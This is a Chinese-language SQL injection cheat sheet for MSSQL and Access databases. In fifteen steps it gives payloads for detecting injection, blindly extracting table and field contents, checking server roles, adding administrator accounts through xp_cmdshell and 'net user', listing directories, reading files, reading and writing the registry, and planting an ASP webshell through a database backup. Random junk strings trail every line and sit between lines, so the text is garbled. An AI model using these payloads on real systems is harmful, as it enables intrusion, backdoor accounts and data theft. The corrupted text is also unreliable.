1.判断是否有注入;and 1=1 ;and 1=2 ,[P{HrHx
2.初步判断是否是mssql ;and user>0 [PNT\ElT
ur:3W6ZKl
3.注入参数是字符'and [查询条件] and ''=' 5\]Sv]s)R
xdp`<POn%
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Bu#VMkchJ
6\g cFfo
5.判断数据库系统 YQj 2
@$[?z9ck"
;and (select count(*) from sysobjects)>0 mssql NQJq6S4@
[OC5l>
;and (select count(*) from msysobjects)>0 access E2R&[Q"%
6ZP(E^.
< t,zaIi
leTf&W
6.猜数据库 ;and (select Count(*) from [数据库名])>0 W\d{a(*
=THpdtL
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 fSK]|"c
S[PE$tYT#t
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 *Q?tl\E
|}=acc/
9.(1)猜字段的ascii值(access) /_I]H
UQ?XqgUM
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Ya3C#=
(k5We!4[1
(2)猜字段的ascii值(mssql) -p]1=@A<}
$w2u3-
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 |}BLF
\Q0[?k
10.测试权限结构(mssql) 2mVD_ s[`
Enum/O5
%4et&zRC
ZX9T YN
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- J;.wXS_U8
4|riKo)
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- E8$20Ue
/Z'L^L%R
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- K|zZS%?$
9K{%vK
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 47+&L
JtYP E?
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- IzikDc10
?XrQ53
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ;oW6 NJ
mF*2#]%dx
;and 1=(select IS_MEMBER('db_owner'));-- 0D\#Pq
v
}X)&zenz
,':fu
e:fy#,HEj{
11.添加mssql和系统的帐户 xS4w5i2
8m2Tk\;:
;exec master.dbo.sp_addlogin username;-- *|%@6I(
;exec master.dbo.sp_password null,username,password;-- =,spvy'"*C
yu!h<nfzA
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Ugu[|,
l{I6&^!KS
;exec master.dbo.xp_cmdshell 'net user username password ($au:'kU
x$5) ^ud?
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- UO0{):w>
vQosPS_2L
;exec master.dbo.xp_cmdshell 'net user username password /add';-- \?[v{WP)
LClNxm2X
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- cv998*|X:
Ktb\ b w
>`Y.+4mE
5D\f8L
12.(1)遍历目录 ?pr9f5
IUE~_7
;create table dirs(paths varchar(100), id int) j9eTCJqB
*"?l ]d
;insert dirs exec master.dbo.xp_dirtree 'c:\' K28+]qy[
ALrw\qV
;and (select top 1 paths from dirs)>0 }\tdcTMgS
+T|JK7
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) [ey:e6,T9
|'P]GK
SQBa;hvgM
4r>6G/b8*
(2)遍历目录 8ja$g,
7X0Lq}G@
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- %HGD;_bhI
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 =XA;[PVx:#
UW N*j_9i
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Oft-w)cYz,
-I*^-+>H
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 H$=e
-L`@
QLXN*c
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 4 !i$4
wQqb`l7+
Isvx7$Vu+
6h|q'.Y
13.mssql中的存储过程 z.7cy@N6
rID#`:Hl-|
xp_regenumvalues 注册表根键, 子键 EN$2,qf
K-bD<X
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 *W.C7=
<;vbsksZeH
xp_regread 根键,子键,键值名 f,h J~
h].<t&
;exec xp_regread "$#xK |t
;YA(|h<
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Dd'm U
>.Chl$)<
xp_regwrite 根键,子键, 值名, 值类型, 值 E(O74/2c8
oe%}?u
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 $@z5kwx:P
.z]Wyx&/U
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 -}nxJH )
VCY\be
xp_regdeletevalue 根键,子键,值名 %-)H^i~]%
AJh w
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 1n=lqn/
"fG8?)d;
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 N >FKy'.gk
!TAlBkj
f%SZg!+t
DK$X2B"c V
14.mssql的backup创建webshell JLnH&(O
{K+icTL3
use model >"|B9Woc
%SX|o-B~.o
create table cmd(str image); iX0i2ek
h]Wr [v
insert into cmd(str) values (''); 4lr(,nPRD
n"c)m%yZ
backup database model to disk='c:\l.asp'; H\h3TdL
$w)!3c4
1;C+$
=Q+;=-1
15.mssql内置函数 NG--6\
n,jKmA
;and (select @@version)>0 获得Windows的版本号 hlV=qfc
igkYX!0#8O
;and user_name()='dbo' 判断当前系统的连接用户是不是sa Wi*.TWz3
Gr7=:+0n|P
;and (select user_name())>0 爆当前系统的连接用户 e5* ni/P
g
l^<Q
;and (select db_name())>0 得到当前连接的数据库 gW^VVbB'L
Yk)."r&